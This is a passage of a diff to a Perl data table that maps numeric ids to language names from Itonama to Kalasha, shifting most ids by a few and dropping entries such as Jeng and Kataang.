       q(Itonama),
       ],
-   q(3013) => [
+   q(3016) => [
       q(Iteri),
       ],
-   q(3014) => [
+   q(3017) => [
       q(Isekiri),
       ],
-   q(3015) => [
+   q(3018) => [
       q(Maeng Itneg),
       ],
-   q(3016) => [
+   q(3019) => [
       q(Itawit),
       ],
-   q(3017) => [
+   q(3020) => [
       q(Ito),
       ],
-   q(3018) => [
+   q(3021) => [
       q(Itik),
       ],
-   q(3019) => [
+   q(3022) => [
       q(Moyadan Itneg),
       ],
-   q(3020) => [
+   q(3023) => [
       q(Itza),
       ],
-   q(3021) => [
+   q(3024) => [
       q(Iu Mien),
       ],
-   q(3022) => [
+   q(3025) => [
       q(Ibatan),
       ],
-   q(3023) => [
+   q(3026) => [
       q(Ivatan),
       ],
-   q(3024) => [
+   q(3027) => [
       q(I-Wak),
       ],
-   q(3025) => [
+   q(3028) => [
       q(Iwam),
       ],
-   q(3026) => [
+   q(3029) => [
       q(Iwur),
       ],
-   q(3027) => [
+   q(3030) => [
       q(Sepik Iwam),
       ],
-   q(3028) => [
+   q(3031) => [
       q(Ixcatec),
       ],
-   q(3029) => [
+   q(3032) => [
       q(Ixil),
       ],
-   q(3030) => [
+   q(3033) => [
       q(Iyayu),
       ],
-   q(3031) => [
+   q(3034) => [
       q(Mesaka),
       ],
-   q(3032) => [
+   q(3035) => [
       q(Yaka (Congo)),
       ],
-   q(3033) => [
+   q(3036) => [
       q(Ingrian),
       ],
-   q(3034) => [
+   q(3037) => [
       q(Izere),
       ],
-   q(3035) => [
+   q(3038) => [
       q(Izii),
       ],
-   q(3036) => [
+   q(3039) => [
       q(Jamamadi),
       ],
-   q(3037) => [
+   q(3040) => [
       q(Hyam),
       ],
-   q(3038) => [
+   q(3041) => [
       q(Popti'),
       q(Jakalteko),
       ],
-   q(3039) => [
+   q(3042) => [
       q(Jahanka),
       ],
-   q(3040) => [
+   q(3043) => [
       q(Yabem),
       ],
-   q(3041) => [
+   q(3044) => [
       q(Jara),
       ],
-   q(3042) => [
+   q(3045) => [
       q(Jah Hut),
       ],
-   q(3043) => [
+   q(3046) => [
       q(Zazao),
       ],
-   q(3044) => [
+   q(3047) => [
       q(Jakun),
       ],
-   q(3045) => [
+   q(3048) => [
       q(Yalahatan),
       ],
-   q(3046) => [
+   q(3049) => [
       q(Jamaican Creole English),
       ],
-   q(3047) => [
+   q(3050) => [
       q(Jandai),
       ],
-   q(3048) => [
+   q(3051) => [
       q(Yanyuwa),
       ],
-   q(3049) => [
+   q(3052) => [
       q(Yaqay),
       ],
-   q(3050) => [
+   q(3053) => [
       q(New Caledonian Javanese),
       ],
-   q(3051) => [
+   q(3054) => [
       q(Jakati),
       ],
-   q(3052) => [
+   q(3055) => [
       q(Yaur),
       ],
-   q(3053) => [
+   q(3056) => [
       q(Jambi Malay),
       ],
-   q(3054) => [
+   q(3057) => [
       q(Yan-nhangu),
       ],
-   q(3055) => [
+   q(3058) => [
       q(Jawe),
       ],
-   q(3056) => [
+   q(3059) => [
       q(Judeo-Berber),
       ],
-   q(3057) => [
+   q(3060) => [
       q(Badjiri),
       ],
-   q(3058) => [
+   q(3061) => [
       q(Arandai),
       ],
-   q(3059) => [
+   q(3062) => [
       q(Barikewa),
       ],
-   q(3060) => [
+   q(3063) => [
       q(Nafusi),
       ],
-   q(3061) => [
+   q(3064) => [
       q(Jofotek-Bromnya),
       ],
-   q(3062) => [
+   q(3065) => [
       q(Jabuti),
       ],
-   q(3063) => [
+   q(3066) => [
       q(Jukun Takum),
       ],
-   q(3064) => [
+   q(3067) => [
       q(Yawijibaya),
       ],
-   q(3065) => [
+   q(3068) => [
       q(Jamaican Country Sign Language),
       ],
-   q(3066) => [
+   q(3069) => [
       q(Krymchak),
       ],
-   q(3067) => [
+   q(3070) => [
       q(Jad),
       ],
-   q(3068) => [
+   q(3071) => [
       q(Jadgali),
       ],
-   q(3069) => [
+   q(3072) => [
       q(Judeo-Tat),
       ],
-   q(3070) => [
+   q(3073) => [
       q(Jebero),
       ],
-   q(3071) => [
+   q(3074) => [
       q(Jerung),
       ],
-   q(3072) => [
-      q(Jeng),
-      ],
-   q(3073) => [
+   q(3075) => [
       q(Jeh),
       ],
-   q(3074) => [
+   q(3076) => [
       q(Yei),
       ],
-   q(3075) => [
+   q(3077) => [
       q(Jeri Kuo),
       ],
-   q(3076) => [
+   q(3078) => [
       q(Yelmek),
       ],
-   q(3077) => [
+   q(3079) => [
       q(Dza),
       ],
-   q(3078) => [
+   q(3080) => [
       q(Jere),
       ],
-   q(3079) => [
+   q(3081) => [
       q(Manem),
       ],
-   q(3080) => [
+   q(3082) => [
       q(Jonkor Bourmataguil),
       ],
-   q(3081) => [
+   q(3083) => [
       q(Ngbee),
       ],
-   q(3082) => [
+   q(3084) => [
       q(Judeo-Georgian),
       ],
-   q(3083) => [
+   q(3085) => [
       q(Gwak),
       ],
-   q(3084) => [
+   q(3086) => [
       q(Ngomba),
       ],
-   q(3085) => [
+   q(3087) => [
       q(Jehai),
       ],
-   q(3086) => [
+   q(3088) => [
       q(Jhankot Sign Language),
       ],
-   q(3087) => [
+   q(3089) => [
       q(Jina),
       ],
-   q(3088) => [
+   q(3090) => [
       q(Jibu),
       ],
-   q(3089) => [
+   q(3091) => [
       q(Tol),
       ],
-   q(3090) => [
+   q(3092) => [
       q(Bu),
       ],
-   q(3091) => [
+   q(3093) => [
       q(Jilbe),
       ],
-   q(3092) => [
+   q(3094) => [
       q(Djingili),
       ],
-   q(3093) => [
+   q(3095) => [
       q(sTodsde),
       q(Shangzhai),
       ],
-   q(3094) => [
+   q(3096) => [
       q(Jiiddu),
       ],
-   q(3095) => [
+   q(3097) => [
       q(Jilim),
       ],
-   q(3096) => [
+   q(3098) => [
       q(Jimi (Cameroon)),
       ],
-   q(3097) => [
+   q(3099) => [
       q(Jiamao),
       ],
-   q(3098) => [
+   q(3100) => [
       q(Guanyinqiao),
       q(Lavrung),
       ],
-   q(3099) => [
+   q(3101) => [
       q(Jita),
       ],
-   q(3100) => [
+   q(3102) => [
       q(Youle Jinuo),
       ],
-   q(3101) => [
+   q(3103) => [
       q(Shuar),
       ],
-   q(3102) => [
+   q(3104) => [
       q(Buyuan Jinuo),
       ],
-   q(3103) => [
+   q(3105) => [
       q(Jejueo),
       ],
-   q(3104) => [
+   q(3106) => [
       q(Bankal),
       ],
-   q(3105) => [
+   q(3107) => [
       q(Kaera),
       ],
-   q(3106) => [
+   q(3108) => [
       q(Mobwa Karen),
       ],
-   q(3107) => [
+   q(3109) => [
       q(Kubo),
       ],
-   q(3108) => [
+   q(3110) => [
       q(Paku Karen),
       ],
-   q(3109) => [
+   q(3111) => [
       q(Koro (India)),
       ],
-   q(3110) => [
+   q(3112) => [
       q(Labir),
       ],
-   q(3111) => [
+   q(3113) => [
       q(Ngile),
       ],
-   q(3112) => [
+   q(3114) => [
       q(Jamaican Sign Language),
       ],
-   q(3113) => [
+   q(3115) => [
       q(Dima),
       ],
-   q(3114) => [
+   q(3116) => [
       q(Zumbun),
       ],
-   q(3115) => [
+   q(3117) => [
       q(Machame),
       ],
-   q(3116) => [
+   q(3118) => [
       q(Yamdena),
       ],
-   q(3117) => [
+   q(3119) => [
       q(Jimi (Nigeria)),
       ],
-   q(3118) => [
+   q(3120) => [
       q(Jumli),
       ],
-   q(3119) => [
+   q(3121) => [
       q(Makuri Naga),
       ],
-   q(3120) => [
+   q(3122) => [
       q(Kamara),
       ],
-   q(3121) => [
+   q(3123) => [
       q(Mashi (Nigeria)),
       ],
-   q(3122) => [
+   q(3124) => [
       q(Mouwase),
       ],
-   q(3123) => [
+   q(3125) => [
       q(Western Juxtlahuaca Mixtec),
       ],
-   q(3124) => [
+   q(3126) => [
       q(Jangshung),
       ],
-   q(3125) => [
+   q(3127) => [
       q(Jandavra),
       ],
-   q(3126) => [
+   q(3128) => [
       q(Yangman),
       ],
-   q(3127) => [
+   q(3129) => [
       q(Janji),
       ],
-   q(3128) => [
+   q(3130) => [
       q(Yemsa),
       ],
-   q(3129) => [
+   q(3131) => [
       q(Rawat),
       ],
-   q(3130) => [
+   q(3132) => [
       q(Jaunsari),
       ],
-   q(3131) => [
+   q(3133) => [
       q(Joba),
       ],
-   q(3132) => [
+   q(3134) => [
       q(Wojenaka),
       ],
-   q(3133) => [
+   q(3135) => [
       q(Jogi),
       ],
-   q(3134) => [
+   q(3136) => [
       q(Jora),
       ],
-   q(3135) => [
+   q(3137) => [
       q(Jordanian Sign Language),
       ],
-   q(3136) => [
+   q(3138) => [
       q(Jowulu),
       ],
-   q(3137) => [
+   q(3139) => [
       q(Jewish Palestinian Aramaic),
       ],
-   q(3138) => [
+   q(3140) => [
       q(Jaqaru),
       ],
-   q(3139) => [
+   q(3141) => [
       q(Jarai),
       ],
-   q(3140) => [
+   q(3142) => [
       q(Jiru),
       ],
-   q(3141) => [
+   q(3143) => [
       q(Jorto),
       ],
-   q(3142) => [
+   q(3144) => [
       q(Japreria),
       ],
-   q(3143) => [
+   q(3145) => [
       q(Japanese Sign Language),
       ],
-   q(3144) => [
+   q(3146) => [
       q(Juma),
       ],
-   q(3145) => [
+   q(3147) => [
       q(Wannu),
       ],
-   q(3146) => [
+   q(3148) => [
       q(Jurchen),
       ],
-   q(3147) => [
+   q(3149) => [
       q(Worodougou),
       ],
-   q(3148) => [
+   q(3150) => [
       q(Hone),
       ],
-   q(3149) => [
+   q(3151) => [
       q(Ngadjuri),
       ],
-   q(3150) => [
+   q(3152) => [
       q(Wapan),
       ],
-   q(3151) => [
+   q(3153) => [
       q(Jirel),
       ],
-   q(3152) => [
+   q(3154) => [
       q(Jumjum),
       ],
-   q(3153) => [
+   q(3155) => [
       q(Juang),
       ],
-   q(3154) => [
+   q(3156) => [
       q(Jiba),
       ],
-   q(3155) => [
+   q(3157) => [
       q(Hupde),
       ],
-   q(3156) => [
+   q(3158) => [
       q(Juruna),
       ],
-   q(3157) => [
+   q(3159) => [
       q(Jumla Sign Language),
       ],
-   q(3158) => [
+   q(3160) => [
       q(Jutish),
       ],
-   q(3159) => [
+   q(3161) => [
       q(Ju),
       ],
-   q(3160) => [
+   q(3162) => [
       q(Wapha),
       ],
-   q(3161) => [
+   q(3163) => [
       q(Juray),
       ],
-   q(3162) => [
+   q(3164) => [
       q(Javindo),
       ],
-   q(3163) => [
+   q(3165) => [
       q(Caribbean Javanese),
       ],
-   q(3164) => [
+   q(3166) => [
       q(Jwira-Pepesa),
       ],
-   q(3165) => [
+   q(3167) => [
       q(Jiarong),
       ],
-   q(3166) => [
+   q(3168) => [
       q(Judeo-Yemeni Arabic),
       ],
-   q(3167) => [
+   q(3169) => [
       q(Jaya),
       ],
-   q(3168) => [
+   q(3170) => [
       q(Adara),
       ],
-   q(3169) => [
+   q(3171) => [
       q(Ketangalan),
       ],
-   q(3170) => [
+   q(3172) => [
       q(Katso),
       ],
-   q(3171) => [
+   q(3173) => [
       q(Kajaman),
       ],
-   q(3172) => [
+   q(3174) => [
       q(Kara (Central African Republic)),
       ],
-   q(3173) => [
+   q(3175) => [
       q(Karekare),
       ],
-   q(3174) => [
+   q(3176) => [
       q(Jju),
       ],
-   q(3175) => [
+   q(3177) => [
       q(Kalanguya),
       q(Kayapa Kallahan),
       ],
-   q(3176) => [
+   q(3178) => [
       q(Xaasongaxango),
       ],
-   q(3177) => [
+   q(3179) => [
       q(Bezhta),
       ],
-   q(3178) => [
+   q(3180) => [
       q(Capanahua),
       ],
-   q(3179) => [
+   q(3181) => [
       q(Katukina),
       ],
-   q(3180) => [
+   q(3182) => [
       q(Kao),
       ],
-   q(3181) => [
+   q(3183) => [
       q(Kamayura),
       ],
-   q(3182) => [
+   q(3184) => [
       q(Kalarko),
       ],
-   q(3183) => [
+   q(3185) => [
       q(Kaxuiana),
       ],
-   q(3184) => [
+   q(3186) => [
       q(Kadiweu),
       ],
-   q(3185) => [
+   q(3187) => [
       q(Kanju),
       ],
-   q(3186) => [
+   q(3188) => [
       q(Khamba),
       ],
-   q(3187) => [
+   q(3189) => [
       q(Camsa),
       ],
-   q(3188) => [
+   q(3190) => [
       q(Kaptiau),
       ],
-   q(3189) => [
+   q(3191) => [
       q(Kari),
       ],
-   q(3190) => [
+   q(3192) => [
       q(Grass Koiari),
       ],
-   q(3191) => [
+   q(3193) => [
       q(Kanembu),
       ],
-   q(3192) => [
+   q(3194) => [
       q(Iwal),
       ],
-   q(3193) => [
+   q(3195) => [
       q(Kare (Central African Republic)),
       ],
-   q(3194) => [
+   q(3196) => [
       q(Keliko),
       ],
-   q(3195) => [
+   q(3197) => [
       q(Kabiye),
       ],
-   q(3196) => [
+   q(3198) => [
       q(Kamano),
       ],
-   q(3197) => [
+   q(3199) => [
       q(Kafa),
       ],
-   q(3198) => [
+   q(3200) => [
       q(Kande),
       ],
-   q(3199) => [
+   q(3201) => [
       q(Abadi),
       ],
-   q(3200) => [
+   q(3202) => [
       q(Kabutra),
       ],
-   q(3201) => [
+   q(3203) => [
       q(Dera (Indonesia)),
       ],
-   q(3202) => [
+   q(3204) => [
       q(Kaiep),
       ],
-   q(3203) => [
+   q(3205) => [
       q(Ap Ma),
       ],
-   q(3204) => [
+   q(3206) => [
       q(Manga Kanuri),
       ],
-   q(3205) => [
+   q(3207) => [
       q(Duhwa),
       ],
-   q(3206) => [
+   q(3208) => [
       q(Khanty),
       ],
-   q(3207) => [
+   q(3209) => [
       q(Kawacha),
       ],
-   q(3208) => [
+   q(3210) => [
       q(Lubila),
       ],
-   q(3209) => [
+   q(3211) => [
       q(Ngkalmpw Kanum),
       ],
-   q(3210) => [
+   q(3212) => [
       q(Kaivi),
       ],
-   q(3211) => [
+   q(3213) => [
       q(Ukaan),
       ],
-   q(3212) => [
+   q(3214) => [
       q(Tyap),
       ],
-   q(3213) => [
+   q(3215) => [
       q(Vono),
       ],
-   q(3214) => [
+   q(3216) => [
       q(Kamantan),
       ],
-   q(3215) => [
+   q(3217) => [
       q(Kobiana),
       ],
-   q(3216) => [
+   q(3218) => [
       q(Kalanga),
       ],
-   q(3217) => [
+   q(3219) => [
       q(Kela (Papua New Guinea)),
       q(Kala),
       ],
-   q(3218) => [
+   q(3220) => [
       q(Gula (Central African Republic)),
       ],
-   q(3219) => [
+   q(3221) => [
       q(Nubi),
       ],
-   q(3220) => [
+   q(3222) => [
       q(Kinalakna),
       ],
-   q(3221) => [
+   q(3223) => [
       q(Kanga),
       ],
-   q(3222) => [
+   q(3224) => [
       q(Kamo),
       ],
-   q(3223) => [
+   q(3225) => [
       q(Katla),
       ],
-   q(3224) => [
+   q(3226) => [
       q(Koenoem),
       ],
-   q(3225) => [
+   q(3227) => [
       q(Kaian),
       ],
-   q(3226) => [
+   q(3228) => [
       q(Kami (Tanzania)),
       ],
-   q(3227) => [
+   q(3229) => [
       q(Kete),
       ],
-   q(3228) => [
+   q(3230) => [
       q(Kabwari),
       ],
-   q(3229) => [
+   q(3231) => [
       q(Kachama-Ganjule),
       ],
-   q(3230) => [
+   q(3232) => [
       q(Korandje),
       ],
-   q(3231) => [
+   q(3233) => [
       q(Konongo),
       ],
-   q(3232) => [
+   q(3234) => [
       q(Worimi),
       ],
-   q(3233) => [
+   q(3235) => [
       q(Kutu),
       ],
-   q(3234) => [
+   q(3236) => [
       q(Yankunytjatjara),
       ],
-   q(3235) => [
+   q(3237) => [
       q(Makonde),
       ],
-   q(3236) => [
+   q(3238) => [
       q(Mamusi),
       ],
-   q(3237) => [
+   q(3239) => [
       q(Seba),
       ],
-   q(3238) => [
+   q(3240) => [
       q(Tem),
       ],
-   q(3239) => [
+   q(3241) => [
       q(Kumam),
       ],
-   q(3240) => [
+   q(3242) => [
       q(Karamojong),
       ],
-   q(3241) => [
+   q(3243) => [
       q(Numee),
       q(Kwenyi),
       ],
-   q(3242) => [
+   q(3244) => [
       q(Tsikimba),
       ],
-   q(3243) => [
+   q(3245) => [
       q(Kagoma),
       ],
-   q(3244) => [
+   q(3246) => [
       q(Kunda),
       ],
-   q(3245) => [
+   q(3247) => [
       q(Kaningdon-Nindem),
       ],
-   q(3246) => [
+   q(3248) => [
       q(Koch),
       ],
-   q(3247) => [
+   q(3249) => [
       q(Karaim),
       ],
-   q(3248) => [
+   q(3250) => [
       q(Kuy),
       ],
-   q(3249) => [
+   q(3251) => [
       q(Kadaru),
       ],
-   q(3250) => [
+   q(3252) => [
       q(Koneraw),
       ],
-   q(3251) => [
+   q(3253) => [
       q(Kam),
       ],
-   q(3252) => [
+   q(3254) => [
       q(Keder),
       q(Keijar),
       ],
-   q(3253) => [
+   q(3255) => [
       q(Kwaja),
       ],
-   q(3254) => [
+   q(3256) => [
       q(Kabuverdianu),
       ],
-   q(3255) => [
+   q(3257) => [
       q(Kele),
       ],
-   q(3256) => [
+   q(3258) => [
       q(Keiga),
       ],
-   q(3257) => [
+   q(3259) => [
       q(Kerewe),
       ],
-   q(3258) => [
+   q(3260) => [
       q(Eastern Keres),
       ],
-   q(3259) => [
+   q(3261) => [
       q(Kpessi),
       ],
-   q(3260) => [
+   q(3262) => [
       q(Tese),
       ],
-   q(3261) => [
+   q(3263) => [
       q(Keak),
       ],
-   q(3262) => [
+   q(3264) => [
       q(Kei),
       ],
-   q(3263) => [
+   q(3265) => [
       q(Kadar),
       ],
-   q(3264) => [
+   q(3266) => [
       q(Kekchi),
       ],
-   q(3265) => [
+   q(3267) => [
       q(Kela (Democratic Republic of Congo)),
       ],
-   q(3266) => [
+   q(3268) => [
       q(Kemak),
       ],
-   q(3267) => [
+   q(3269) => [
       q(Kenyang),
       ],
-   q(3268) => [
+   q(3270) => [
       q(Kakwa),
       ],
-   q(3269) => [
+   q(3271) => [
       q(Kaikadi),
       ],
-   q(3270) => [
+   q(3272) => [
       q(Kamar),
       ],
-   q(3271) => [
+   q(3273) => [
       q(Kera),
       ],
-   q(3272) => [
+   q(3274) => [
       q(Kugbo),
       ],
-   q(3273) => [
+   q(3275) => [
       q(Ket),
       ],
-   q(3274) => [
+   q(3276) => [
       q(Akebu),
       ],
-   q(3275) => [
+   q(3277) => [
       q(Kanikkaran),
       ],
-   q(3276) => [
+   q(3278) => [
       q(West Kewa),
       ],
-   q(3277) => [
+   q(3279) => [
       q(Kukna),
       ],
-   q(3278) => [
+   q(3280) => [
       q(Kupia),
       ],
-   q(3279) => [
+   q(3281) => [
       q(Kukele),
       ],
-   q(3280) => [
+   q(3282) => [
       q(Kodava),
       ],
-   q(3281) => [
+   q(3283) => [
       q(Northwestern Kolami),
       ],
-   q(3282) => [
+   q(3284) => [
       q(Konda-Dora),
       ],
-   q(3283) => [
+   q(3285) => [
       q(Korra Koraga),
       ],
-   q(3284) => [
+   q(3286) => [
       q(Kota (India)),
       ],
-   q(3285) => [
+   q(3287) => [
       q(Koya),
       ],
-   q(3286) => [
+   q(3288) => [
       q(Kudiya),
       ],
-   q(3287) => [
+   q(3289) => [
       q(Kurichiya),
       ],
-   q(3288) => [
+   q(3290) => [
       q(Kannada Kurumba),
       ],
-   q(3289) => [
+   q(3291) => [
       q(Kemiehua),
       ],
-   q(3290) => [
+   q(3292) => [
       q(Kinnauri),
       ],
-   q(3291) => [
+   q(3293) => [
       q(Kung),
       ],
-   q(3292) => [
+   q(3294) => [
       q(Khunsari),
       ],
-   q(3293) => [
+   q(3295) => [
       q(Kuk),
       ],
-   q(3294) => [
+   q(3296) => [
       q(Koro (Cote d'Ivoire)),
       ],
-   q(3295) => [
+   q(3297) => [
       q(Korwa),
       ],
-   q(3296) => [
+   q(3298) => [
       q(Korku),
       ],
-   q(3297) => [
+   q(3299) => [
       q(Kachhi),
       q(Kutchi),
       ],
-   q(3298) => [
+   q(3300) => [
       q(Bilaspuri),
       ],
-   q(3299) => [
+   q(3301) => [
       q(Kanjari),
       ],
-   q(3300) => [
+   q(3302) => [
       q(Katkari),
       ],
-   q(3301) => [
+   q(3303) => [
       q(Kurmukar),
       ],
-   q(3302) => [
+   q(3304) => [
       q(Kharam Naga),
       ],
-   q(3303) => [
+   q(3305) => [
       q(Kullu Pahari),
       ],
-   q(3304) => [
+   q(3306) => [
       q(Kumaoni),
       ],
-   q(3305) => [
+   q(3307) => [
       q(Koromfe),
       ],
-   q(3306) => [
+   q(3308) => [
       q(Koyaga),
       ],
-   q(3307) => [
+   q(3309) => [
       q(Kawe),
       ],
-   q(3308) => [
-      q(Kataang),
-      ],
-   q(3309) => [
+   q(3310) => [
       q(Komering),
       ],
-   q(3310) => [
+   q(3311) => [
       q(Kube),
       ],
-   q(3311) => [
+   q(3312) => [
       q(Kusunda),
       ],
-   q(3312) => [
+   q(3313) => [
       q(Selangor Sign Language),
       ],
-   q(3313) => [
+   q(3314) => [
       q(Gamale Kham),
       ],
-   q(3314) => [
+   q(3315) => [
       q(Kaiwa),
       ],
-   q(3315) => [
+   q(3316) => [
       q(Kunggari),
       ],
-   q(3316) => [
+   q(3317) => [
       q(Karipuna),
       ],
-   q(3317) => [
+   q(3318) => [
       q(Karingani),
       ],
-   q(3318) => [
+   q(3319) => [
       q(Krongo),
       ],
-   q(3319) => [
+   q(3320) => [
       q(Kaingang),
       ],
-   q(3320) => [
+   q(3321) => [
       q(Kamoro),
       ],
-   q(3321) => [
+   q(3322) => [
       q(Abun),
       ],
-   q(3322) => [
+   q(3323) => [
       q(Kumbainggar),
       ],
-   q(3323) => [
+   q(3324) => [
       q(Somyev),
       ],
-   q(3324) => [
+   q(3325) => [
       q(Kobol),
       ],
-   q(3325) => [
+   q(3326) => [
       q(Karas),
       ],
-   q(3326) => [
+   q(3327) => [
       q(Karon Dori),
       ],
-   q(3327) => [
+   q(3328) => [
       q(Kamaru),
       ],
-   q(3328) => [
+   q(3329) => [
       q(Kyerung),
       ],
-   q(3329) => [
+   q(3330) => [
       q(Lu),
       ],
-   q(3330) => [
+   q(3331) => [
       q(Tukang Besi North),
       ],
-   q(3331) => [
+   q(3332) => [
       q(Badi Kanum),
       ],
-   q(3332) => [
+   q(3333) => [
       q(Korowai),
       ],
-   q(3333) => [
+   q(3334) => [
       q(Khuen),
       ],
-   q(3334) => [
+   q(3335) => [
       q(Khams Tibetan),
       ],
-   q(3335) => [
+   q(3336) => [
       q(Kehu),
       ],
-   q(3336) => [
+   q(3337) => [
       q(Kuturmi),
       ],
-   q(3337) => [
+   q(3338) => [
       q(Halh Mongolian),
       ],
-   q(3338) => [
+   q(3339) => [
       q(Lusi),
       ],
-   q(3339) => [
+   q(3340) => [
       q(Khandesi),
       ],
-   q(3340) => [
+   q(3341) => [
       q(Kapori),
       q(Kapauri),
       ],
-   q(3341) => [
+   q(3342) => [
       q(Koyra Chiini Songhay),
       ],
-   q(3342) => [
+   q(3343) => [
       q(Kharia),
       ],
-   q(3343) => [
+   q(3344) => [
       q(Kasua),
       ],
-   q(3344) => [
+   q(3345) => [
       q(Khamti),
       ],
-   q(3345) => [
+   q(3346) => [
       q(Nkhumbi),
       ],
-   q(3346) => [
+   q(3347) => [
       q(Khvarshi),
       ],
-   q(3347) => [
+   q(3348) => [
       q(Khowar),
       ],
-   q(3348) => [
+   q(3349) => [
       q(Kanu),
       ],
-   q(3349) => [
+   q(3350) => [
       q(Kele (Democratic Republic of Congo)),
       ],
-   q(3350) => [
+   q(3351) => [
       q(Keapara),
       ],
-   q(3351) => [
+   q(3352) => [
       q(Kim),
       ],
-   q(3352) => [
+   q(3353) => [
       q(Koalib),
       ],
-   q(3353) => [
+   q(3354) => [
       q(Kickapoo),
       ],
-   q(3354) => [
+   q(3355) => [
       q(Koshin),
       ],
-   q(3355) => [
+   q(3356) => [
       q(Kibet),
       ],
-   q(3356) => [
+   q(3357) => [
       q(Eastern Parbate Kham),
       ],
-   q(3357) => [
+   q(3358) => [
       q(Kimaama),
       q(Kimaghima),
       ],
-   q(3358) => [
+   q(3359) => [
       q(Kilmeri),
       ],
-   q(3359) => [
+   q(3360) => [
       q(Kitsai),
       ],
-   q(3360) => [
+   q(3361) => [
       q(Kilivila),
       ],
-   q(3361) => [
+   q(3362) => [
       q(Kariya),
       ],
-   q(3362) => [
+   q(3363) => [
       q(Karagas),
       ],
-   q(3363) => [
+   q(3364) => [
       q(Kiowa),
       ],
-   q(3364) => [
+   q(3365) => [
       q(Sheshi Kham),
       ],
-   q(3365) => [
+   q(3366) => [
       q(Kosadle),
       q(Kosare),
       ],
-   q(3366) => [
+   q(3367) => [
       q(Kis),
       ],
-   q(3367) => [
+   q(3368) => [
       q(Agob),
       ],
-   q(3368) => [
+   q(3369) => [
       q(Kirmanjki (individual language)),
       ],
-   q(3369) => [
+   q(3370) => [
       q(Kimbu),
       ],
-   q(3370) => [
+   q(3371) => [
       q(Northeast Kiwai),
       ],
-   q(3371) => [
+   q(3372) => [
       q(Khiamniungan Naga),
       ],
-   q(3372) => [
+   q(3373) => [
       q(Kirikiri),
       ],
-   q(3373) => [
+   q(3374) => [
       q(Kisi),
       ],
-   q(3374) => [
+   q(3375) => [
       q(Mlap),
       ],
-   q(3375) => [
+   q(3376) => [
       q(Q'anjob'al),
       q(Kanjobal),
       ],
-   q(3376) => [
+   q(3377) => [
       q(Coastal Konjo),
       ],
-   q(3377) => [
+   q(3378) => [
       q(Southern Kiwai),
       ],
-   q(3378) => [
+   q(3379) => [
       q(Kisar),
       ],
-   q(3379) => [
+   q(3380) => [
       q(Khalaj),
       ],
-   q(3380) => [
+   q(3381) => [
       q(Khmu),
       ],
-   q(3381) => [
+   q(3382) => [
       q(Khakas),
       ],
-   q(3382) => [
+   q(3383) => [
       q(Zabana),
       ],
-   q(3383) => [
+   q(3384) => [
       q(Khinalugh),
       ],
-   q(3384) => [
+   q(3385) => [
       q(Highland Konjo),
       ],
-   q(3385) => [
+   q(3386) => [
       q(Western Parbate Kham),
       ],
-   q(3386) => [
+   q(3387) => [
       q(Khang),
       ],
-   q(3387) => [
+   q(3388) => [
       q(Kunjen),
       ],
-   q(3388) => [
+   q(3389) => [
       q(Harijan Kinnauri),
       ],
-   q(3389) => [
+   q(3390) => [
       q(Pwo Eastern Karen),
       ],
-   q(3390) => [
+   q(3391) => [
       q(Western Keres),
       ],
-   q(3391) => [
+   q(3392) => [
       q(Kurudu),
       ],
-   q(3392) => [
+   q(3393) => [
       q(East Kewa),
       ],
-   q(3393) => [
+   q(3394) => [
       q(Phrae Pwo Karen),
       ],
-   q(3394) => [
+   q(3395) => [
       q(Kashaya),
       ],
-   q(3395) => [
+   q(3396) => [
       q(Kaikavian Literary Language),
       ],
-   q(3396) => [
+   q(3397) => [
       q(Ramopa),
       ],
-   q(3397) => [
+   q(3398) => [
       q(Erave),
       ],
-   q(3398) => [
+   q(3399) => [
       q(Bumthangkha),
       ],
-   q(3399) => [
+   q(3400) => [
       q(Kakanda),
       ],
-   q(3400) => [
+   q(3401) => [
       q(Kwerisa),
       ],
-   q(3401) => [
+   q(3402) => [
       q(Odoodee),
       ],
-   q(3402) => [
+   q(3403) => [
       q(Kinuku),
       ],
-   q(3403) => [
+   q(3404) => [
       q(Kakabe),
       ],
-   q(3404) => [
+   q(3405) => [
       q(Kalaktang Monpa),
       ],
-   q(3405) => [
+   q(3406) => [
       q(Mabaka Valley Kalinga),
       ],
-   q(3406) => [
+   q(3407) => [
       q(Khun),
       ],
-   q(3407) => [
+   q(3408) => [
       q(Kagulu),
       ],
-   q(3408) => [
+   q(3409) => [
       q(Kako),
       ],
-   q(3409) => [
+   q(3410) => [
       q(Kokota),
       ],
-   q(3410) => [
+   q(3411) => [
       q(Kosarek Yale),
       ],
-   q(3411) => [
+   q(3412) => [
       q(Kiong),
       ],
-   q(3412) => [
+   q(3413) => [
       q(Kon Keu),
       ],
-   q(3413) => [
+   q(3414) => [
       q(Karko),
       ],
-   q(3414) => [
+   q(3415) => [
       q(Gugubera),
       ],
-   q(3415) => [
+   q(3416) => [
       q(Kaiku),
       ],
-   q(3416) => [
+   q(3417) => [
       q(Kir-Balar),
       ],
-   q(3417) => [
+   q(3418) => [
       q(Giiwo),
       ],
-   q(3418) => [
+   q(3419) => [
       q(Koi),
       ],
-   q(3419) => [
+   q(3420) => [
       q(Tumi),
       ],
-   q(3420) => [
+   q(3421) => [
       q(Kangean),
       ],
-   q(3421) => [
+   q(3422) => [
       q(Teke-Kukuya),
       ],
-   q(3422) => [
+   q(3423) => [
       q(Kohin),
       ],
-   q(3423) => [
+   q(3424) => [
       q(Guguyimidjir),
       ],
-   q(3424) => [
+   q(3425) => [
       q(Kaska),
       ],
-   q(3425) => [
+   q(3426) => [
       q(Klamath-Modoc),
       ],
-   q(3426) => [
+   q(3427) => [
       q(Kiliwa),
       ],
-   q(3427) => [
+   q(3428) => [
       q(Kolbila),
       ],
-   q(3428) => [
+   q(3429) => [
       q(Gamilaraay),
       ],
-   q(3429) => [
+   q(3430) => [
       q(Kulung (Nepal)),
       ],
-   q(3430) => [
+   q(3431) => [
       q(Kendeje),
       ],
-   q(3431) => [
+   q(3432) => [
       q(Tagakaulo),
       ],
-   q(3432) => [
+   q(3433) => [
       q(Weliki),
       ],
-   q(3433) => [
+   q(3434) => [
       q(Kalumpang),
       ],
-   q(3434) => [
+   q(3435) => [
       q(Turkic Khalaj),
       ],
-   q(3435) => [
+   q(3436) => [
       q(Kono (Nigeria)),
       ],
-   q(3436) => [
+   q(3437) => [
       q(Kagan Kalagan),
       ],
-   q(3437) => [
+   q(3438) => [
       q(Migum),
       ],
-   q(3438) => [
+   q(3439) => [
       q(Kalenjin),
       ],
-   q(3439) => [
+   q(3440) => [
       q(Kapya),
       ],
-   q(3440) => [
+   q(3441) => [
       q(Kamasa),
       ],
-   q(3441) => [
+   q(3442) => [
       q(Rumu),
       ],
-   q(3442) => [
+   q(3443) => [
       q(Khaling),
       ],
-   q(3443) => [
+   q(3444) => [
       q(Kalasha),
       ],
